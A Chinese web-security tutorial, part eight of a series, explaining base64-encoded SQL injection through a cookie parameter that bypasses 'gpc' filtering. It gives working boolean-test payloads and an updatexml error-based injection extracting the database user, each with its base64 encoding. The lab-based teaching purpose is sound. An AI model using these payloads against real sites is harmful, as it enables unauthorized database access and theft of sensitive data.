文中详细讲解web安全之SQL注入,通过文中内容更加深入的掌握SQL注入的原理及检测方法,从而更好的用于渗透测试中;文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。
web安全之SQL注入(八)
base64注入
原理
base64编码主要用于数据编码传输,同样接收的参数也有可能使用传输,当接收的值使用base64传输时,即便开启了gpc注入拦截,因为编码过后的字符串不存在特殊字符,从而绕过gpc的检测,再加上在程序中得到重新的解码,这样就会造成base64注入。
编码解码过程
1 ->base64 编码->MQ==->base64 解密->1
代码分析
从图中就可以看在cookie处,可以使用base64编码后进行注入。
这里造成注入点的位置,就是因为在代码中使用base64解码,从而让我们的攻击者在传入值的时候,使用base64加密,从而带入数据库中查询。
漏洞演示
首先我们来判断是否存在注入,将判断语句进行base64编码
admin') and 1=1#
编码后:YWRtaW4nKSBhbmQgMT0xIw==
admin') and 1=2#
编码后:YWRtaW4nKSBhbmQgMT0yIw==
通过两次返回的页面不同,来判断注入存在。
通过之前的代码分析,可以看出能使用报错注入,这里将报错注入的攻击语句进行base64编码后,进行敏感数据获取。
admin')and (updatexml(1,concat(0x7e,(select user()),0x7e),1))#
编码后:YWRtaW4nKWFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCB1c2VyKCkpLDB4N2UpLDEpKSM=
需要获取其他的敏感信息,只需要修改字查询的位置即可。